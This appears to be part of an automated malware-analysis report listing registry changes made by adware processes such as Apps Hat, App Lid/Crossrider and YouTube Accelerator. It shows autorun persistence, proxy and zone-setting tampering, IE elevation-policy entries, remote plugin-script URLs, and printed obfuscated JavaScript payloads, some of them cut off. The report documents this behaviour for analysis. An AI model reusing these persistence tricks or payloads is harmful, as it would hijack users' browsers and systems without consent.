"WpadDecisionTime" = "F0 FB 19 11 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "F0 FB 19 11 2C 3C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process appshat.exe:2252 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "F6 C7 2A 2A 2C 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "DF 70 1E 2E 2C 3C D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 50 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286]
"65743" = "Apps Hat 1.5"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\InstalledBrowserExtensions\25286\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "DF 70 1E 2E 2C 3C D0 01"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:716 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process biclient.exe:1640 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "10 5A DA E6 2B 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1351514833"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadNetworkName" = "Network 3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 40 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionReason" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{9C99CCBB-10A0-4B2A-A5BE-4CAC43F74632}]
"WpadDecisionTime" = "10 5A DA E6 2B 3C D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f3-c8-bd]
"WpadDecisionTime" = "10 5A DA E6 2B 3C D0 01"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process biclient.exe:600 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"network_adworkmedia_1" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

The process 11a9fc6b-cfbc-4d3c-943b-7e1062933d01-4.exe:3808 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKLM\SOFTWARE\Wow6432Node\App Lid\aLE6R6YUfnWXF9Z8bXB LKfjyfCmIHcZKL0cTVGOwIfydfJoPGGe9ozWp34MZQhd5SE0m6dH0aG5XtD3h6IJKsrmH7 3aQaI/G8srLXnS76dsYMzfN3FLz1A5V5NFqgpJG7I0YN4wEYW0XwZIoEKadwoZ0P4SYEiPaExgNPkqNM=]
"in1cv6qcV8f7s9nPHn2Lxs7ycn3rtiOrHtdHCKW4yWRWv6ncmTPgiJPR oyExb83YigI Njq6jgcHnCEEmhxt64TOCdUKCKsFI5KPjuXIxUKHgJingtbvvyM8vIiPJvmCWukDnVRrBDQ8ZzOQuaOHWd1vzoIlbIMQSgBxz1zjtM=" = "1"

[HKLM\SOFTWARE\Wow6432Node\App Lid\A7uVu2o6kYp92PJt5sxa2Hjs2SRNdtTFO5TdqhA8HRw/XiTYZKcitEupDqcBpioAvmvcZVsIXj7bQxGO/r5pMPcjUCBvjIoBy eK71gl0pY068fbZIzRSGQVs54wgBQE2sWxDrInkzGE64qhiSivmC9HDkHNmJJhw7iQY6iDKAg=]
"DZOHeRcmW6Cw/isyGEh r4/wrO4zKu7xmc7YDvZ56vw5pVfo ANArpdblDLPfyDM0LssSfP228imS3y5YG927aw X8m p7hKJ6enQgor0gmCEhToaNFGlViyJL4PdGVN0V1se9mHJkGM50LbzhEbCR3DjuaqZ8NZUbp19R4tXI=" = "1"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The process GLB1A53.tmp:2896 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"InstallTime" = "1422581307"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage" = "0"
"(Default)" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowAds" = "1"

[HKCU\Software\Goobzo\Language\YouTubeAccelerator\Settings]
"CurrentLanguage" = "1033"

[HKCU\Software\Goobzo\YouTube Accelerator]
"DontShowAccelerationNotSupported" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Publisher" = "Goobzo Ltd."

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"LspInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\SharedDLLs\C:\Windows\system32]
"AniGIF.ocx" = "1"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"ZippedRules" = "1"
"ShowAds" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"URLInfoAbout" = "http://www.youtubeaccelerator.com/support/"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"InstallTime" = "1422581307"
"DllInstall" = "%Program Files% (x86)\YouTube Accelerator\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayIcon" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe,-0"
"InstallLocation" = "%Program Files% (x86)\YouTube Accelerator"

[HKCU\Software\Goobzo\YouTube Accelerator]
"HideAccList" = "0"
"ShowTrayIcon" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"HelpLink" = "http://www.youtubeaccelerator.com/about/"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BuildNumber" = "88"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"UninstallString" = "%Program Files% (x86)\YouTube Accelerator\YTAUninstall.exe"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"Contact" = "[email protected]"
"DisplayVersion" = "3394(build_88)"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"Newsletter" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\YouTube Accelerator]
"DisplayName" = "YouTube Accelerator"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"(Default)" = ""

[HKCU\Software\Goobzo\YouTube Accelerator]
"Aff" = "smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Version" = "3.3.9.4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\YouTube Accelerator]
"Order" = "E0 80 00 00 00 20 00 00 0D C0 10 00 00 10 00 00"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Beta" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Associations]
"Application" = "http://www.fileextensionpro.com/redir.aspx?s=smtycl1_0_0_0_0,55ab86e2-1aa0-4cd0-9974-956045006e3d,&LangID=x&Ext=%s"

[HKCU\Software\Goobzo\YouTube Accelerator]
"RunFinishInstall" = "1"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"email" = ""

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Goobzo\YouTube Accelerator\UserInfo]
"tver"

[HKCU\Software\Goobzo\YouTube Accelerator]
"Br"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"BrName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"HideAccList"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Engine]
"Mode"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"BrName"

[HKLM\SOFTWARE\Wow6432Node\GOOBZO\YouTube Accelerator]
"Br"
"ShowTrayIcon"

The Application disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"YouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]
"VARemove"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run]
"GoobzoYouTubeAccelerator"

The process Vlwgfsqfpaz.exe:1440 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\46]
"Name" = "IETimers"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"Version" = "15"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\40]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"Name" = "ie8_fix_1"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"UpdateInterval" = "360"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\220]
"Version" = "38"

[HKCU\Software\AppDataLow\Software\App Lid\Manifest]
"Name" = "App Lid"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{a96c2976-ee5b-4f1e-824c-c00fd74dd873}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\4]
"URL" = "http://js.ourclientinputsrv.com/plugins/javascripts/jquery-1_7_1_min.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\91]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/91.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\47]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\28]
"Name" = "initializer"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\17]
"Version" = "4"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\301]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\242]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWQ3ZjZjNTYwYzFlMWExZDMzMTEwYTU3NWY1NDQ2MDIxYTE5MTY1OTQ5NWEwYzFhMTcxZTQwMWUwZTBjMTYwNTBjMWEwMzBiMWEwODQ4MGEwODEzMGE1YjBlMTk0MTFlMDEzYzA0MTI0YjFlMTc1NTJmMmIyMDJhMmEzYzI0MjAyMTM1MjcyOTViMDAxNDA2MTcxMDE2NGMzZDM4MjQzYzIyM2MzNjIwMzYyMzJjMzgzMjI2MzQyYTJjMzA1OTM1MzEyZTM0MmMzNTI2MzczZDIwMmYzYzMyMjMzYjMyMzAyYjMwMjEyZTMxM2UzMzIxMzkzYzIxMmIzYjRjMmMzZjI3MmQyMjJhMjEzZDM3M2EyMjJjM2YzYzI4MzQyODMxNTkzNTMxMmUzNDJjMzUyNjM3M2QyMDJmM2MzMjI3MzMzNjJhMmIzNTI5MmYzMTMyNDQ0ZjZjN2M0NzFjMTAxZTFlMWUzMzExMGE1NzVmNTQ0NjAyMWExOTE2MTA1YzVhNGExZDBhMTkxYTQzMTUwYjA5MDUxNTFkMGEwZDBmMTkwMzRkMGYxYjAzMWI0YjAwMWQ0MjE1MDQzOTE3MDI1YTBlMTk1MTJjMjAyNTJmMzkyYzM1MzAyZjMxMjQyMjVlMDUwNzE2MDYwMDE4NDgzZTMzMjEzOTMxMmMyNzMwMzgyNzJmMzMzNzIzMjczYTNkMjA1NzMxMzIyNTMxMjkyNjM2MjYyZDJlMmIzZjM5MjYzZTIxMjAzYTIwMmYyYTMyMzUzNjI0MmEyYzMwM2IzNTQ4MmYzNDIyMjgzMTNhMzAyZDM5M2UyMTI3M2EzOTNiMjQzOTIxNTczMTMyMjUzMTI5MjYzNjI2MmQyZTJiM2YzOTIyMzYyNTNhM2EyNTI3MmIzMjM5NDE0YTdmNmM1NjE0MDYxYjBhMGYwZDJmMTE0NzRlNDQ1ODVhNWY2YzFl', 'fuetdjnmfc'); }"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins]
"AppPluginList" = "246,42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3,1,21,22,182,183,207,72,7,9,345,354,253,102,104,180,184,220,195,200,221,223,234,242,255,262,263,281,288,301,177,91,28"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTI2ZTQzNDQ1NjU0NTMwMTE3MGMxOTMxMTEwODU0NGU1MTRiMGIwYzFkMTQ1OTRiNTkxNzE1MDcwMDE5MGEwYzA2NTU1YjE1NWYwODA4MTkwNDA1MGEwYzEyNWExZjBjMTc1NzFhMTEwMTRiMDA0NzQzNTg1YTFhMGQ0YjNjM2IzNTI2M2UzYTMwMmEyMDIwMjYzNjI5MzEyOTNkMjYzNjJkMjEyNzNiMjUyMTMzMzYyYTNjMzYzYjRjMDg1ODFlMDI1NjEzMTEwZDU5NTI1NDRmNDA1NzBjMWIwYzU0M2IzYzI3MjQzYjIyM2EzMTMxMmQyMTMxM2IzNzI0MjEzNjJkMzkyNDIxM2MzYjUwMDcwODFhMTcxZDA0MGQwNzU5MjkyYjMyM2IyYzJiM2EzNjJhMjAzMzI2MmUyMDJkMmIzZDI1MmYyODMzMjYyZTNjMzAzZDNiM2IyYTIwMjkyYjUzNDU2OTU4NDk0NDQzNDYxZTAwMDUxOTEwMmQxYjA4NDE1ZTU2NTYxOTFkMTcwODFhNWU0YzRiMTUxMDFmMGEwMjFiMDEwMTUyNDkxNzVhMTAwMjAyMTUwODBkMGIwMDU4MWExNDFkNGMwYjFjMDY0YzEyNDU0NjQwNTAwMTFjNDYzYjNjMjcyNDNiMjIzYTMxMzEyZDIxMzEzYjMzMmMyNTJjMmQzYzJjMjAzYzM3MjMzNjJlMjAyNzI3MzY0YjBmNGExYzA3NGUxOTBhMWM1NDU1NTM1ZDQyNTIxNDExMTc0NTM2M2IyMDM2MzkyNzIyM2IyYTNjMmMzNjNjMjUyNjI0MmUyNzIyMzUyYzNiM2M0MjA1MGQwMjFkMDYxNTAwMDA1ZTNiMjkzNzIzMjYzMDJiM2IyZDI3MjEyNDJiMzgyNzMwMmMyODI4MmYyMTI0MmIyNDNhMjYyYTM2MmQyNzNiMjk1NjVkNjM0MzU4NDk0NDQxMTQxYTAxMTY@ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"Name" = "icm_convertmedia_m"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\200]
"Name" = "foxydeal_m"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\App Lid]
"CrPublisherId" = "25286"

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "aeee04e8f278dfad4abf88a95210feb1"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\78]
"Version" = "5"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"Version" = "3"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\195]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/195.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\36]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/36.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\2]
"Version" = "2"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\234]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDM2MzYyNDEwYjA0MTkxNjIyMDIxNDRiNTE0MzQxMTgxOTEyMDc0YTU3NDYwMjEwMTcxMTE5MGYxNDVlMWMwODFmMDIwNTExMWUxMjEwMDUwYTFjNDUwYTBkMTYwMjQ5MTExZjU3MGMwODRjMDAwMjFmNDgxZDAzNDcwMTAyMDc1ZTJmMzIyNTI1M2YyYjNhMzkyYTI3MzUzZjM5MjIyMzNkM2IzNDJhMjcyZjMyNDAwNDA1MWEwMDBmNWUzYzJmMmUzNDM4MjMyYjNiMjIyNzI2MjIzMjIzMmYyNDNkMjcyZjI2MjcyZjNlMzMzNTJmMzEyZDM0M2M0NTEyMDMwNzFhMTU0NTM2MzQyMDMxM2YzZTM1MjUzOTNjMmMzOTNjMjIyMDNkMzkzOTMxMzUyYzM0M2M0NTEyMDEwZjE5MWI0NTRiNDc2OTZhNTIwNTEyMDMwMDBiM2MxOTBmNDE0YTRkNDQxZjA0MGMxOTE4NTk0YzVmMDQxNTAzMTEwYzAwMDg0ZDA3MTExOTA3MTExMTBiMWQwYzE2MTEwNTQzMGYxOTE2MTc0NjBkMGM0YzE1MGU0OTE0MDIwYTQ3MDExMDVjMTgwNDAyNGEyZjI3MmEzOTJjMzAyMzNmMmYzMzM1MmEzNjNlMzAyNjIyMzIyZjMzMmYyNzRmMTgxNjAxMTkwOTViMjgyZjNiM2IyNDMwMzAyMjI0MjIzMjIyMjcyYzMzMzcyNjNlMjkyMzMzMmYyYjNjMjkzYzJhMzQzMjM5NTExMjE2MDgwNjA2NWUyZjMyMjUyNTNmMmIzYTM5MmEyNzM1M2YzOTM2MjAyODM2MjUyMjJlMzUzMjM5NTExMjE0MDAwNTA4NWU1MjQxNmM3ZTUyMDgwNTFlMDQwYTFlMjQwMjU1NGE1ODViNTg1NzRmN2E0ZDQ2NTc1MDVhMWYwZTExMTcxOTBlMDcxYjUyNDI0OTMwNDExMDE4MDI2ÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\104]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGM3ZDUzNDk1NjRmNDQxOTBlMDEwNzIyMDEwNTU0NTU0NjUzMTIwMTAzMDc0OTQ2NTkwZTE2MTg1NDFmMTgxYjFmMTAwMTBlMGExZDFmMDE1OTE0MWMwNDU5MGUwMDE3MTMxOTFlMTYwNzBjNTkwYzBhMTgxZjFiMDM0ODE3MDAwNTFiNWI0OTVjMTQwNzA3MmMwMDEyNTIzOTJlMzkyNzM4MjQyMDNiM2YyYjIzMjMyNTM5M2UzMDNiM2QyOTNjMzMzMzI1M2MzMzI4MmM0ZjA1NWU1YjQxNWMwNjQ1NGE0MzRmMDU1YzViNDE1YzFiMTYxYTE2NTQyOTMwMjUyMzM1MjYyNDI1M2EyZDMzM2QzOTMwMmEyNTI4MzkzMjI0MzMzMDM5NTcxZjBkMDMxOTRlMzYyOTJjMzQzZTI5MjYyNTNlMzcyYzI0MzAyMzI5MmUzMDM5MzMzNjJkMjkzYzMzMzMyNTNjMzMyODJjNGI1YTY1NDY1MTVhNTU1NTFmMDcxZDA2MWMzMzAzMTY1NzRkNTc1MTAxMDIxYjE2MDI0MDVhNTgxNjAzMDA1ODA1MDkxZDE2MGMwMDE2MWYwNTEzMWI0ODEyMTUxODU4MTYxNTBmMWYwMzBmMTAwZTEwNTgxNDFmMDAxMzAxMTI0ZTFlMWMwNDAzNGU1MTUwMGUxNjAxMjUxYzEzNGEyYzM2MzUzZDI5MjIyOTI3M2UzMzM2M2IyOTIzMmYzNjMyMjEyODI0MjYyYjI5MjYyMjJlMjU1MzA0NDY0ZTU5NTAxYzU0NGM0YTUzMDQ0NDRlNTk1MDAxMDcxYzFmNDgyODI4MzAzYjM5M2MzNTIzMzMzMTMyMjUyYzI4MjYzZjM5M2YzYjM4MzIyODJjNGYxMzE3MTIxZjQ3MmEyODM0MjEyNjI1M2MzNDM4M2UzMDI1MjgzNjMxMjIyYTI4MzUzZjMxMjgyNDI2MmIyOTI2MjIwÉŽ"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\246]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/246.js"

[HKCU\Software\AppDataLow\Software\App Lid\Plugins\263]
"URL" = "http://js.ourclientinputsrv.com/plugins/mins/263.js"

[HKCU\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{0940d92d-eb5b-4a66-a360-ea4a14653723}]
"AppPath" = "%Program Files% (x86)\App Lid"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{70c7f9ab-103c-416a-a8bf-5b70c1c0831b}]
"Policy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\AppDataLow\Software\App Lid]
"ActiveAppId" = "65743"

